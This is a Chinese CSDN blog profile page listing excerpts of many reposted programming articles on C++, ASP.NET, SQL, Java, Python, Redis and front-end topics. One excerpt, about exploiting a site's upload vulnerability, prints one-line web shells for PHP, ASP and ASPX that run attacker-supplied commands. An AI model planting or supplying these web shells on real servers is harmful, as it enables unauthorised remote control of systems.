weixin_34384915的博客

私信 关注
weixin_34384915
码龄5年
  • 569,471
    被访问量
  • 140
    原创文章
  • 23,258
    作者排名
  • 3,653
    粉丝数量
  • 于 2016-03-22 加入CSDN
获得成就
  • 获得96次点赞
  • 内容获得17次评论
  • 获得351次收藏
荣誉勋章
  • 最近
  • 文章
  • 资源
  • 问答
  • 课程
  • 帖子
  • 收藏
  • 关注/订阅

山寨STL

对于STL的掌握, 侯捷将境界分为三层: 会用,明理,能扩展。我自己在学习STL的过程中也有类似体会,为避免初学者走弯路, 下面是个人的一些学习经验和参考书籍:《C++标准程序库:自修教程与参考手册》这本书既是STL学习的入门书,也是日后的重要参考手册,遇到任何STL用法方面的问题,基本上都可以在这本书上找到答案。《Effective STL》如果说前面这本书让你使用STL入门, 那么这本书是...
转载
261阅读
0评论
0点赞
发布博客于 2 年前

[转]读书笔记之二—大泥球和顶级的设计 - by Glede

大泥球——世界上最常用的软件体系结构,一个经久不衰的传奇。大泥球是一件很神奇的事情,阅读文章里列举了大泥球出现的一系列原因,但是我们貌似很少在其他的领域看到这么不专业的专业行为,从这个角度看看,不妨稍稍刨根问底一下。我觉得首先有个成本问题——软件开发可以说是没有物质成本的。可以看到大泥球能够工作,而且,造成一个大泥球并不比有道理的开发架构需要更多的物质成本,多调几个大泥球经费也不会被马上耗...
转载
231阅读
0评论
0点赞
发布博客于 2 年前

SkYjoKEr - 词频统计工程总结T博特别版

听说按照T博流量算分,怒转至T博。一、首先是对于需求和基本方案:重新列一下需求,国行中文版。  Word 单词定义:    i.至少含有三个字符、且开头三个字符必须是字母;        eg.hao123 == word;123hao!=word    ii.不包含任何非字母或者数字的字符;        助教后来说这个本质就是认为除了字母和数字以外都算分...
转载
226阅读
0评论
0点赞
发布博客于 2 年前

缓存 ASP.NET 页的某些部分

生成高性能、可缩放的 Web 应用程序最重要的因素之一是能够在首次请求项时将这些项存储在内存中,不管它们是数据对象、页还是页的某些部分。可以将这些项缓存或存储在 Web 服务器上或请求流中的其他软件上,如代理服务器或浏览器。使您能够避免重新创建满足先前请求的信息,尤其是那些需要大量处理器时间或资源的信息。ASP.NET 缓存允许您使用多种技术跨 HTTP 请求存储页输出或应用程序数据并对其进行重复...
转载
165阅读
0评论
0点赞
发布博客于 2 年前

js跳转页面方法(转)

<span id="tiao">3</span><a href="javascript:countDown"></a>布丁足迹;秒后自动跳转……<meta http-equiv=refresh content=3;url='/search/billsearch.jsp'</ul><!--脚本开始--><sc...
转载
163阅读
0评论
0点赞
发布博客于 2 年前

(一) 进程调度

进程调度算法有FIFO,优先数调度算法,时间片轮转调度算法,分级调度算法,目前主要是考虑FIFO和优先数调度算法(静态优先级)。 输入: 进程流文件,其中存储的是一系列要执行的进程, 每个作业包括四个数据项: 进程名 进程状态(1就绪 2等待 3运行) 所需时间 优先数(0级最高)输出:进程执行流 和等待时间 平均等待时间 本程序包括:FIFO,优先数调度算法,时间片...
转载
166阅读
0评论
1点赞
发布博客于 2 年前

eclipse中mysql java驱动的安装

1.下载mysql-connector-java-x.x.x.zip2.将压缩包中的mysql-connector-java-x.x.x-bin解压到eclipse中需要导入驱动的工程的根目录下3.在eclipse中右键该工程选择属性4.在java build path项中add external JARs将该bin文件导入到工程的lib中5.大功告成转载于:https://ww...
转载
167阅读
0评论
2点赞
发布博客于 2 年前

(译)ASP.NET MVC Routing 概述

ASP.NET MVC Routing 概述在本篇教程中,你将会了解到 ASP.NET MVC 中一个重要的组件。这个组件叫做 ASP.NET Routing,它负责将客户端请求的路径映射到特定的一个类(Controller)的一个函数(Action)。并且在教程的结尾,你将会掌握一个标准路由是如何映射到特定类的特定函数。使用默认的路由表当你创建一个新的 ASP.NET MVC 应用程...
转载
132阅读
0评论
1点赞
发布博客于 2 年前

28. Implement strStr()

public class Solution { public int strStr(String haystack, String needle) { int[] next=new int[needle.length()]; generateNextArray(next,needle); int i=0; int...
转载
105阅读
0评论
0点赞
发布博客于 2 年前

TCP

RFC1323 -TCPExtensionsforHighPerformanceRFC2488 -EnhancingTCPOverSatelliteChannelsusing传输层端口号定义https://www.iana.org/assignments/service-names-port-numbers/service-names-port-n...
转载
117阅读
0评论
0点赞
发布博客于 2 年前

用MotoMidMan给L7批量安装java程序

在给手机装完驱动后,可以通过MotoMidMan给手机内存安装java程序.需要资源数据线MotoMidManjava程序(由一个.jar文件与一个.jad文件组成)操作步骤1、下载完的是个压缩包(扩展名为.rar),解压完的文件清单如下:2、准备好java程序,解压完是这样两个文件(这是我下载的三图群英传,)3、打开程序,显示如下界面:说明:最上面是标题栏不用管它,关闭程序时才用到它再下...
转载
141阅读
0评论
1点赞
发布博客于 2 年前

Intro to asp.net MVC 简单的小程序(2)

我们做的很简单,就是一个电影的表单,显示还有创建强大的封装真的很好用,当我们新建的视图的时候,强类型下面都有封装好的 Create List Details ..很多,我们只要选择一下接着上一次做的那个我们继续把它做完2创建一个数据库Movies 来存储一些信息(1)Id 递增输入一些数据,方便后面显示 数据不是重点,你可以按着自己的喜欢添加一些数据(2)创建一个实...
转载
176阅读
0评论
0点赞
发布博客于 2 年前

char, varchar, nchar, nvarchar (Transact-SQL)

char 和 varchar (Transact-SQL)长度固定或可变的字符串数据类型。char[ ( n) ]固定长度,非 Unicode 字符串数据。 n 用于定义字符串长度,并且它必须为 1 到 8,000 之间的值。 存储大小为 n 字节。 char 的 ISO 同义词为 character。varchar [ ( n | max) ]可变长度,非 Unicod...
转载
192阅读
0评论
0点赞
发布博客于 2 年前

关于研究性和工程性

自己将要往哪个方向发展呢?最近一段时间很认真的考虑了一下周围的人,有做工程的,有做研究的,还有做商务的。做工程实际具体,相对简单些,但是可能薪水也相对低一些;做研究的,创造性比较强,工作压力可能比较大,但是地位和收入也比较高;做商务的呢,很风光,似乎也很得闲,但是总让人觉得不是那么放心,也许有工科背景的人做商务会更好。转载于:https://www.cnblogs.com/TonyWu/arch...
转载
229阅读
0评论
0点赞
发布博客于 2 年前

Swift语言精要 - Operator(运算符重载)

运算符重载Swift的这一语言特性或许应该启发于C++class Vector2D { var x : Float = 0.0 var y : Float = 0.0 init (x : Float, y: Float) { self.x = x self.y = y } func +(left : ...
转载
134阅读
0评论
0点赞
发布博客于 2 年前

Nuget控制台 - 给你的快速添加缺少的包

利用命令行安装包转载于:https://www.cnblogs.com/davidgu/p/3250663.html
转载
126阅读
0评论
0点赞
发布博客于 2 年前

Python 与系统管理

作为一名系统管理员,您可能碰到过各种各样的挑战和问题。管理用户、磁盘空间、进程、设备和备份,可能让许多系统管理员绞尽脑汁,从而变得心情郁闷、甚至精神错乱。Shell 脚本可以为此提供帮助,但是它们通常具有令人感到灰心的各种限制。在这种情况下,功能齐全的脚本编写语言(如 Python)可以将烦琐的任务变得更加容易、并且我敢说变得充满乐趣。本文中的示例展示了不同的 Python 特性,您可以...
转载
127阅读
0评论
1点赞
发布博客于 2 年前

Ant入门教程

本内容包含了Ant的历史简要介绍,Ant的功能以及Ant框架的介绍,并对下载安装使用Ant进行了示例介绍,同时通过一个Java程序讲解了Ant的基本使用方法。1. Ant简介:这里引用Ant帮助文档中对Ant的介绍: Apache Ant是一个基于Java的构建工具。从理论上讲,也是一种类似于Make的工具,只是去除了Make工具的缺点。...
转载
247阅读
0评论
0点赞
发布博客于 2 年前

IOS设计模式浅析之抽象工厂模式(Abstract Factory)

概述  在前面两章中,分别介绍了简单工厂模式和工厂方法模式,我们知道简单工厂模式的优点是去除了客户端与具体产品的依赖,缺点是违反了“开放-关闭原则”;工厂方法模式克服了简单工厂模式的缺点,将产品的创建工作放到具体的工厂类,每个工厂类负责生成一个产品。但是在实际应用中,一个工厂类只创建单个产品的情况很少,一般一个工厂类会负责创建一系列相关的产品,如果我们要设计这样的系统,工厂方法模式显然不能满足...
转载
174阅读
0评论
1点赞
发布博客于 2 年前

漂亮的登陆框

转载于:https://www.cnblogs.com/aspphpvbs/archive/2013/04/20/3033057.html
转载
284阅读
0评论
0点赞
发布博客于 2 年前

C#:装箱和拆箱

C#允许“值类型”的任何值与“Object”类型的值相互转换。装箱是将值类型转换为引用类型;拆箱是将引用类型转换为值类型;int i = 100;object o = i; // 装箱:将值类型i转化为了object类型int j = (int)o; // 拆箱:将object类型转化为了值类型从原理上将,装箱时生成的是全新的引用对象,这会有时间损耗...
转载
110阅读
0评论
0点赞
发布博客于 2 年前

download excel file from datagrid for webpage

/// <summary> /// Summary description for WebExcelUtil. /// </summary> public sealed class WebExcelUtil { public static void GenerateExcel(DataSet objDS, HttpResponse objResponse) { if...
转载
127阅读
0评论
1点赞
发布博客于 2 年前

项目管理之代码合并

由于现在项目发布比较频繁,因而经常需要改变版本,但是为了能够保有一个最新的CodeFix版本,所以我们也需要在修改主线版本的同时同步合并修改的内容到Fix版本。由于种种原因经常导致合并到CodeFix的进度被延后,因而经常导致CodeFix版本的滞后。 正常情况下这个也不会有什么很重要的问题,但是一旦出现需要紧急修复的问题或者需求要发布,这个时候F...
转载
352阅读
0评论
0点赞
发布博客于 2 年前

SQL-关联查询【转】

T_A A表 T_B B标,id为表与表相关联的字段`创建相关表结构CREATE TABLE Table_B( id INT(2), serNum VARCHAR(10) ); CREATE TABLE Table_A( id INT(2), serNum VARCHAR(10) ); INSERT INTO table_a (id, serNum) VALUES (1,'A000...
转载
119阅读
0评论
0点赞
发布博客于 2 年前

多线程程序写日志时遇到加锁的问题

前段时间在做项目时,系统是个多线程程序,几个线程都需要写日志,主线程和通讯线程经常在写日志时打架,为了解决这个问题,考虑在写日志的方法中加锁。代码如下:   /// <summary> /// 写日志时加锁 /// </summary> private static object m_Lock = new object...
转载
205阅读
0评论
0点赞
发布博客于 2 年前

Oracle数据库删除了数据如何恢复

再操作数据库时,有时候误删了数据或者更新数据时忘记设置更新条件,要是这时候没有提交事务,还可以执行回滚操作。要是这时候不小心提交了,数据也是可以恢复的。我们只需要执行下面这句sql: select * from test as of timestamp to_timestamp('2019-06-19 09:03:00','yyyy-mm- dd h...
转载
139阅读
0评论
0点赞
发布博客于 2 年前

.net中类(class)与结构(struct)的不同

Class可以被实例化,属于引用类型,是分配在内存的堆上的。类是引用传递的。Struct属于值类型,是分配在内存的栈上的。结构体是复制传递的。Int32、Boolean等都属于结构体。转载于:https://www.cnblogs.com/boke1/p/11056989.html...
转载
251阅读
0评论
0点赞
发布博客于 2 年前

软件工程小组第八次会议记录

会议主题:确定各个接口的命名及功能与会时间:6月17日与会地点:逸夫楼C202与会成员:尚卓燃、张世豪、傅宇豪、王昊钰会议记录: 前端与后端讨论了接口的命名和功能,前端调用后端的接口,以及后端各个接口的作用。转载于:https://www.cnblogs.com/teamwork-software-engineering/p/11051656.html...
转载
196阅读
0评论
0点赞
发布博客于 2 年前

国家电网大数据中心成立

国家电网大数据中心成立国家电网大数据中心成立5 月 21 日,国家电网有限公司举行国网大数据中心成立揭牌仪式暨大数据发布会,同时启动中国电力大数据创新联盟筹备工作。公司董事长、党组书记寇伟为国网大数据中心成立揭牌。公司总经理、党组副书记辛保安出席揭牌仪式并讲话,公司副总经理、党组成员韩君主持揭牌仪式。新成立的国家电网有限公司大数据中心是公司数据管理的专业机构和公司数据共享平台、数据服务平台、数字创...
转载
1691阅读
0评论
0点赞
发布博客于 2 年前

利用网站上传漏洞使用一句话木马控制服务器

一句话木马常用于php、asp、aspxphp<?php echo shell_exec($_GET['cmd']);?>asp<%execute(request("value"))%>aspx<%@ Page Language="Jscript"%><%eval(Request.Item["value"...
转载
225阅读
0评论
0点赞
发布博客于 2 年前

XML学习总结(1)——XML入门

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
116阅读
0评论
0点赞
发布博客于 2 年前

Echache整合Spring缓存实例讲解

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
116阅读
0评论
0点赞
发布博客于 2 年前

Maven学习总结(八)——使用Maven构建多模块项目

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
126阅读
0评论
0点赞
发布博客于 2 年前

Myeclipse优化配置

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
120阅读
0评论
0点赞
发布博客于 2 年前

学习记录-数组算法题:最大子数组

内容摘自现代 JavaScript 教程题干输入是以数字组成的数组,例如 arr = [1, -2, 3, 4, -9, 6].任务是:找出连续的 arr 的子数组,其里面所有项的和最大。写出函数 getMaxSubSum(arr),用其找出并返回最大和。例如:getMaxSubSum([-1, 2, 3, -9]) = 5 (高亮项的加和)getMaxSubSum([2, -1, ...
转载
135阅读
0评论
0点赞
发布博客于 2 年前

[Windows Azure] Manage the Availability of Virtual Machines

Manage the Availability of Virtual MachinesYou can ensure the availability of your application by using multiple Windows Azure Virtual Machines. By using multiple virtual machines in your applicatio...
转载
106阅读
0评论
0点赞
发布博客于 2 年前

文件服务器 之 VSFTPD的高手篇

此文章细致的讲解了VSFTP的配置环境:linux as 3.0 + vsftpd -1.2.0-4的系统架构,是在独立服务器下的哦!1. 配置本地组访问的FTP首先创建用户组 test和FTP的主目录groupadd testmkdir /tmp/test然后创建用户useradd -G test –d /tmp/test –M usr1注:G:用户所在的组 d:表示...
转载
117阅读
0评论
0点赞
发布博客于 2 年前

多个jar包合并成一个jar包(ant)

https://blog.csdn.net/gzl003csdn/article/details/53539133多个jar包合并成一个jar 使用Apache的Ant是一个基于Java的生成工具。这个工具的全名是another neat tool 可以到官网下载 apache-ant-1.9.7-bin.zip下载好了之后接下来就是 解压 配置环境 使用安装和配置计...
转载
216阅读
0评论
0点赞
发布博客于 2 年前

imba 为什么那么快?

本专栏思考不周到。imba 文档下面列出vue作者的关于虚拟dom的评论:在比较性能的时候,要分清楚初始渲染、小量数据更新、大量数据更新这些不同的场合。Virtual DOM、脏检查 MVVM、数据收集 MVVM 在不同场合各有不同的表现和不同的优化需求。Virtual DOM 为了提升小量数据更新时的性能,也需要针对性的优化,比如 shouldComponentUpdate 或是 immu...
转载
118阅读
0评论
0点赞
发布博客于 2 年前

shell的进阶编程

shell的进阶编程关于for  for 变量名字 in 列表;do    循环体  done  例如for: for NAME [in WORDS ... ] ; do COMMANDS; don其中前面的name就是个变量名,而且不需要加$,每次循环和中间列表中的值有关,中间的列表可以使用花括号来表示指定范围,也可以使用一些命令来生成列表,但是需要加$(),要把前面的变量名和后面...
转载
108阅读
0评论
0点赞
发布博客于 2 年前

win10 pl2303

https://blog.csdn.net/ouening/article/details/70947759转载于:https://www.cnblogs.com/hgstudy/p/11037453.html
转载
22阅读
0评论
0点赞
发布博客于 2 年前

Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/mail/util/Lin

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
374阅读
0评论
0点赞
发布博客于 2 年前

复习—KMP算法

对于KMP算法的学习,在寒假时我还是搞不太明白,但几个月之后,对于它的理解又更近了一步。首先是对于子串的自我匹配,求一个fail数组,fail[i]对于字符串SS的前ii个字符构成的子串,既是它的后缀又是它的前缀的字符串中(它本身除外),最长的长度记作fail[i]。举个例子,abcdabc中fail[7]的值就是3。当我们失配的时候,就直接跳到fail[i]所指的值上,这样效率就提升很大...
转载
23阅读
0评论
0点赞
发布博客于 2 年前

js获取时间段内属于星期一的日期们

/* 获取时间段内属于星期一(*)的日期们 * begin: 开始时间 * end:结束时间 * weekNum:星期几 {number} */ function getWeek (begin, end, weekNum){ var dateArr = new Array(); var stimeArr = begin.split("-");//=&...
转载
58阅读
0评论
0点赞
发布博客于 2 年前

proxy跨域处理

拿vue-cli举例,在项目目录中找到根目录下config文件夹下的index.js文件。配置在dev里面:dev: { // Paths assetsSubDirectory: 'static', assetsPublicPath: '/', proxyTable: {    '/api': {       target: 'http:...
转载
274阅读
0评论
0点赞
发布博客于 2 年前

JBoss 系列二十四:基于JBoss微容器部署集群JBossCache

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
58阅读
0评论
0点赞
发布博客于 2 年前

蛋花花:互联网创业最难的是什么

蛋花花:互联网创业最难的是什么,据蛋花花了解互联网带来的商业革命就是大势所趋,我们要做的就是要么引导潮流,要么顺应潮流。现在是全民互联网创业时代,大到商业巨头,小到街头小贩,甚至是在校学生,都在想办法在互联网上赚钱。那么互联网创业最难的是什么?下面蛋花花就来谈谈这个问题。我们都知道,互联网创业成本太低了,基本上就是时间成本。当然互联网创业最吸引人的地方是流量大,鱼儿多。很多大V动不动都是上百万上千...
转载
19阅读
0评论
0点赞
发布博客于 2 年前

Android之SplashActivity的巧妙之处

为什么80%的码农都做不了架构师?>>> ...
转载
331阅读
0评论
0点赞
发布博客于 2 年前

为什么 PHP 程序员应该学习使用 Swoole

为什么80%的码农都做不了架构师?>>> ...
转载
205阅读
0评论
0点赞
发布博客于 2 年前

开发标准化软件组件能让程序员在大城市过上体面的生活 -- 多系统用户权限管理标准件开发销售心得体会...

为什么80%的码农都做不了架构师?>>> ...
转载
26阅读
0评论
0点赞
发布博客于 2 年前

NAS设置NFS共享便于KODI添加视频的方式

TOS 提供多种文件服务,您可以根据您的使用环境选择不同的文件服务。NFS 文件服务用于Linux 电脑和TNAS 设备之间进行文件传输。1.登录铁威马TOS系统;2.控制面板》文件服务;3.开启NFS文件服务,点击应用;设置NFS访问权限1.控制面板》共享文件夹;2.VIDEO文件夹为例;3.点击编辑,选择NFS;4.设置访问权限和允许访问的IP或网段(IP输入“*”则代表允许所有访问,空白则表...
转载
1447阅读
0评论
0点赞
发布博客于 2 年前

文件传输协议介绍

文件传输协议介绍文件传输协议是一种极为普遍的档案分享服务,让你可以将你的档案从储存装置传送到ASUSTOR NAS。ASUSTOR NAS 所支援的文件传输协议可分为:CIFS (网络文件共享系统)通常是指 SMB,SAMBA 或 Windows 档案服务,CIFS 主要被用在 Microsoft Windows 计算机,以及 Mac OS X 计算机。 这项服务通常为出厂时所内建的服务项目。...
转载
42阅读
0评论
0点赞
发布博客于 2 年前

node.js发送短信验证码(附带60秒倒计时插件)

推荐一个简单且功能齐全的发送短信验证码接口1.安装下载后的SDK只包含一个zhenzisms.js文件,直接导入到工程中即可使用。下载2.用法引入模块const zhenzismsClient = require('./zhenzisms'); zhenzisms.js的具体引入地址请根据您的实际路径替换使用事先申请的AppId、AppSecret初始化ZhenziSm...
转载
30阅读
0评论
0点赞
发布博客于 2 年前

移动端插件的使用---zepto、iScroll、swiper、swipe、fastclick

  1、移动端插件(js类库)---项目中常用(开发中特别喜欢用插件,因为可以提供效率,在减少带宽和减少服务器压力的前提下按需引用插件)  zepto也算一个  a、fastclick.js---解决移动端click事件的延迟问题和点透问题(在移动端中click事件有延时,最先触发的是touch事件,之后才是click,大概延时了300ms,延时存在的原因:是为了区分出是单击还是双击...
转载
69阅读
0评论
0点赞
发布博客于 2 年前

js关于同步异步的问题以及本地json文件被js加载问题(前端网备份)

var several=[];$.ajax({type: "get",url: "/js/race.json",async:false,        //是否为异步请求,true为异步请求,false为同步请求success: function(data) {console.log(data);dl=data.data;for(var i=0; i<dl.length; i++){seve...
转载
389阅读
0评论
0点赞
发布博客于 2 年前

css中的','、'>'、'+'、'~'

,(群组选择器)A , B{ }复制代码空格(后代选择器)//选择A所有的后代B元素A B{ }复制代码>(子元素选择器)//选择A的一代B元素A > B{ }复制代码总结:“>”是css3中特有的选择器,A B选择所有后代元素,为A>B只选择一代。+(相邻兄弟选择器)//设置的是紧跟在A元素后的B元素,指定元素的下一个元素...
转载
3163阅读
0评论
0点赞
发布博客于 2 年前

Delphi执行SQL提示“不正常地定义参数对象”,“提供了不一致或不完整的信息”错误...

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
35阅读
0评论
0点赞
发布博客于 2 年前

HAProxy日志配置

HAProxy日志配置HAProxy可以基于rsyslog记录日志到指定的设备日志的配置方法1.修改haproxy配置文件[root@localhost ~]# vim /etc/haproxy/haproxy.cfg log 127.0.0.1 local3 info #在全局配置段中配置,定义日志记录级别2.修改syslog的配置文件[root@localhost ~]# vi...
转载
253阅读
0评论
0点赞
发布博客于 2 年前

python时间处理详解

  1.获取当前时间的两种方法:  import datetime,time  now = time.strftime(%Y-%m-%d %H:%M:%S)  print now  now = datetime.datetime.now()  print now  2.获取上个月最后一天的日期(本月的第一天减去1天)  last = datetime.date(datetime.date.toda...
转载
30阅读
0评论
0点赞
发布博客于 2 年前

path.join()和path.resolve()的区别

path.join()path.join():方法使用平台特定的分隔符[Unix系统是/,Windows系统是\ ]把全部给定的 path 片段连接到一起,并规范化生成的路径。若任意一个路径片段类型错误,会报错。例如:__dirname// __dirname返回当前文件所在的绝对路径const path = require('path');const path1 = path.jo...
转载
149阅读
0评论
0点赞
发布博客于 2 年前

Java8基础之equals方法和==的区别

equals方法equals用来比较的是两个对象的内容是否相等,由于所有的类都是继承自java.lang.Object类的,所以适用于所有对象,如果没有对该方法进行覆盖的话,调用的仍然是Object类中的方法,而Object中的equals方法体如下:public boolean equals(Object obj) { return (this == obj);}很显然,在Ob...
转载
27阅读
0评论
0点赞
发布博客于 2 年前

二阶段之八

对习题集进行做题对错的判断,以及主页面的布局<?xml version="1.0" encoding="UTF-8"?><infos> <course id="1"> <imgtitle>Android 开发环境搭建</imgtitle> <title>第1章 Android 基础入门&...
转载
61阅读
0评论
0点赞
发布博客于 2 年前

Aspose.Words for .NET使用教程:如何比较两个Word文档

Aspose.Words For .Net是一种高级Word文档处理API,用于执行各种文档管理和操作任务。API支持生成,修改,转换,呈现和打印文档,而无需在跨平台应用程序中直接使用Microsoft Word。此外,API支持所有流行的Word处理文件格式,并允许将Word文档导出或转换为固定布...
转载
307阅读
0评论
0点赞
发布博客于 2 年前

蚂蚁金服终端实验室演进之路

为什么80%的码农都做不了架构师?>>> ...
转载
17阅读
0评论
0点赞
发布博客于 2 年前

7.4 private 成员变量的私有

/* * 学生类(age不能为负数。将age参数私有,创建方法判断age不为负。被private修饰的成员只能在本类中被访问,若想访问可以使用get、set方法) * * 通过对象直接访问成员变量,会存在数据安全问题 * 这个时候,我们就想能不能不让外界的对象直接访问成员变量呢? * 能。 * 如何实现呢? * private关键字 * * private: * 是一个...
转载
26阅读
0评论
0点赞
发布博客于 2 年前

gitignore 忽略文件

*.project*.prefs*.classpath*.gitignore#ignore thumbnails created by windowsThumbs.db#Ignore files build by Visual Studio*.obj*.exe*.pdb*.user*.aps*.pch*.vspscc*_i.c*_p.c*.ncb*.suo*.tlb*.tlh*.bak*.cach...
转载
18阅读
0评论
0点赞
发布博客于 2 年前

python中的类与继承

Class类的定义以及实例的建立Python中,类通过class关键字定义。例如最简单的一个类定义可以为:class Person(object): passPython的编程习惯,类名以大写字母开头,紧接着是(object),表示该类是从哪个类继承下来的。例如上面的person类,我们可以创建很多实例:zhangsan=Perso...
转载
30阅读
0评论
0点赞
发布博客于 2 年前

npm与cnpm

什么是NPM(NPM的使用介绍)NPM是随同NodeJS一起安装的包管理工具,能解决NodeJS代码部署上的很多问题,常见的使用场景有以下几种:允许用户从NPM服务器下载别人编写的第三方包到本地使用。允许用户从NPM服务器下载并安装别人编写的命令行程序到本地使用。允许用户将自己编写的包或命令行程序上传到NPM服务器供别人使用。由于新版的nodejs已经集成了npm...
转载
15阅读
0评论
0点赞
发布博客于 2 年前

使用OpenGLES实现UIImageView显示效果

介绍本篇使用OpenGLES实现UIImageView的显示功能,代码已做详细注释。OpenGL相关文章参考前几篇。代码如下//// ViewController.m// OpenGLES//// Created by dowZhang on 2019/6/2.// Copyright © 2019 dowZhang. All rights reserved.//#i...
转载
94阅读
0评论
0点赞
发布博客于 2 年前

6月第一天

#格式化输出name = input ("请输入你的名字:")age = input ("请输入你的年龄:")print("我叫%s,我今年%s岁了!" % (name, age))#成绩num = int(input("请输入你的分数:"))if num > 90: print("A")elif num > 80: print("B")elif num > 70: ...
转载
14阅读
0评论
0点赞
发布博客于 2 年前

RecyclerView的应用

1. 在build.gradle中添加依赖 implementation 'com.android.support:recyclerview-v7:28.0.0' implementation 'com.github.bumptech.glide:glide:3.7.0'2. 在xml中添加recyclerview布局1 <android...
转载
17阅读
0评论
0点赞
发布博客于 2 年前

python基础--1

#1.windows系统命令行执行python代码python XX.py (python解释器 py文件路径)#2.linux 系统中#文件名 ./xx.py 执行python文件 --文件内部: #!/usr/bin/env python #标明python解释器的执行目录 print("hello world") #3.编码#-*-coding:ut...
转载
17阅读
0评论
0点赞
发布博客于 2 年前

函数1

Date: 2019-05-27Author: Sun1.函数定义​ 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段。​ 函数能提高应用的模块性,和代码的重复利用率。Python提供了许多内建函数,比如print()。也可以自己创建函数,这被叫做用户自定义函数。函数就是完成特定功能的代码块,本质上是对代码的封装。 语法格式def 函数名([参数1],[参数2]...
转载
38阅读
0评论
0点赞
发布博客于 2 年前

多线程、事件驱动与推荐引擎框架选型

为什么80%的码农都做不了架构师?>>> ...
转载
81阅读
0评论
0点赞
发布博客于 2 年前

Linux 常用命令:解压缩

目录 Linux 常用命令:解压缩 说明 tar 涉及参数说明: 压缩 解压 zip压缩 涉及参数说明: uzip解压 涉及参数说明: ...
转载
15阅读
0评论
0点赞
发布博客于 2 年前

Redis基础使用

简介: Redis是用来做缓存的工具,简单,高效且对服务器要求较小,用于大数据量下的缓存每个键值对(key-value pair)都是由对象(object)组成的.数据库键总是一个字符串对象(string object)数据库键的值可以使字符串对象/列表对象(list object)/哈希对象(hash object)/集合对象(set object)/有序集合对象(sorted se...
转载
22阅读
0评论
0点赞
发布博客于 2 年前

lc217. Contains Duplicate

217. Contains DuplicateGiven an array of integers, find if the array contains any duplicates.Your function should return true if any value appears at least twice in the array, and it should return f...
转载
28阅读
0评论
0点赞
发布博客于 2 年前

PHP实现留言板功能实例代码

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
1490阅读
0评论
0点赞
发布博客于 2 年前

Ajax-数据格式

Ajax-数据格式服务器端的编程语言只能是如下三种格式——XML——JSON——HTML1.HTML格式HTML有一些普通文本组成,如果服务器通过XMLHttpRequest发送HTML,文本将储存在responseText属性中。不必从responseText属性中读取数据,它已经是希望的格式,可以直接将它插入到页面中。插入HTML代码最简单的方法...
转载
14阅读
0评论
0点赞
发布博客于 2 年前

python基础知识~ 序列化

序列化模块一 前置 1 序列化两种类型:字符串 byte 2 序列化支持元素:{列表,字符串,元组,字节} 3 过程 把其他的数据类型转换为字符串 byte的过程二 序列化 模块 一 json与字典的异同 1 json的key是双引号字符串,字典是单引号hashable 2 json只是一种结构形式本质是字符串,字典是对象,内置了很多函数 3 j...
转载
24阅读
0评论
0点赞
发布博客于 2 年前

【BATJ】面试必问MySQL索引实现原理

2019独角兽企业重金招聘Python工程师标准>>> ...
转载
338阅读
0评论
0点赞
发布博客于 2 年前

C# 获取输入日期为一年中的第几周

1 /// <summary> 2 /// 获取指定日期,在为一年中为第几周 3 /// </summary> 4 /// <param name="dtWeek">指定时间</param> 5 /// <reutrn>返回第几周</reutrn> 6 private static int GetWe...
转载
46阅读
0评论
0点赞
发布博客于 2 年前

社交电商带动产品的发展

说到电商想必大家都不陌生,但是互联网的高速发展让社交变成了现在的大热门,社交电商是比传统电商更具有主动性,玩法也更多更新颖,因此社交电商APP也是必然趋势。移动社交电商APP开发让你的产品自己会“说话”社交电商APP能快速发展并非偶然,社交电商可以解决传统电商或可成本高,与用户的粘性差等问题,社交类的APP是现在人们每天要要使用的,以前社交都是靠出门鱼人面面对才算社交,现在只需要在手机上通过AP...
转载
38阅读
0评论
0点赞
发布博客于 2 年前

继承类,接口

继承类继承方法定义格式:public abstract 返回值类型 方法名(参数);继承类定义格式:public abstract class 类名 {}抽象方法一定定义在抽象类中,抽象类不能直接创建对象,私有的方法子类是没法继承的。public interface Smoking { //成员变量的特点:public static final 数据类型 变量名...
转载
49阅读
0评论
0点赞
发布博客于 2 年前

结合异步面试题浅谈eventloop

最近室友疯狂在面试,面试题也刷了不少,中标率比较高的就有关于异步事件执行顺序的问题。下面总结一下我对这类题的解题思路:(1)了解js的事件执行机制(也就是我们常说eventloop) (2)了解清楚微任务和宏任务,异步事件哪些属于微任务,哪些属于宏任务。先上一道面试题,主要涉及的是async、await、setTimeout、promise的执行顺序//请写出输出内容async function...
转载
51阅读
0评论
0点赞
发布博客于 2 年前

mysql使用慢查询日志分析数据执行情况

#查询慢查询日志文件路径show variables like '%slow_query%';#开启慢查询日志set global slow_query_log=1;#设置慢查询阀值为0,将所有的语句都记入慢查询日志set global long_query_time=0;#未使用索引的查询也被记录到慢查询日志中set global log-queries-not-using-in...
转载
26阅读
0评论
0点赞
发布博客于 2 年前

mysql的编码问题

为什么80%的码农都做不了架构师?>>> ...
转载
20阅读
0评论
0点赞
发布博客于 2 年前

SparkSQL之dataframe写入mysql报错

一.异常情况及解决方案  在使用Spark SQL的dataframe数据写入到相应的MySQL表中时,报错,错误信息如下:    代码的基本形式为: df.write.jdbc(url, result_table, prop)  根据图片中的报错,搜索资料,得知是由于Spark SQL 中的Save Mode导致的,Spark SQL的官方文档中对Savemode进行了说明:...
转载
71阅读
0评论
0点赞
发布博客于 2 年前

(十七)Java springcloud B2B2C o2o多用户商城 springcloud架构-上传文件

电子商务社交平台源码请加企鹅求求:一零三八七七四六二六。这篇文章主要介绍,如何在springboot工程作为服务器,去接收通过http 上传的multi-file的文件。构建工程为例创建一个springmvc工程你需要spring-boot-starter-thymeleaf和 spring-boot-starter-web的起步依赖。为例能够上传文件在服务器,你需要在web.xml中加入标签做相...
转载
20阅读
0评论
0点赞
发布博客于 2 年前

从App启动开始

App启动时都干了哪些事?一般情况下,App的启动分为冷启动和热启动。冷启动App点击启动前,它的进程不在系统里,需要系统新创建一个进程给它启动的情况,这是一次完成的启动过程。热启动APP在冷启动后被用户退到后台,在App的进程还在系统里的情况下,用户重新启动进入App的过程,这个过程所做的事情非常少。都做了什么事一般来说,App的启动时间,是指用户点击App开始,到用户看到第一...
转载
48阅读
0评论
0点赞
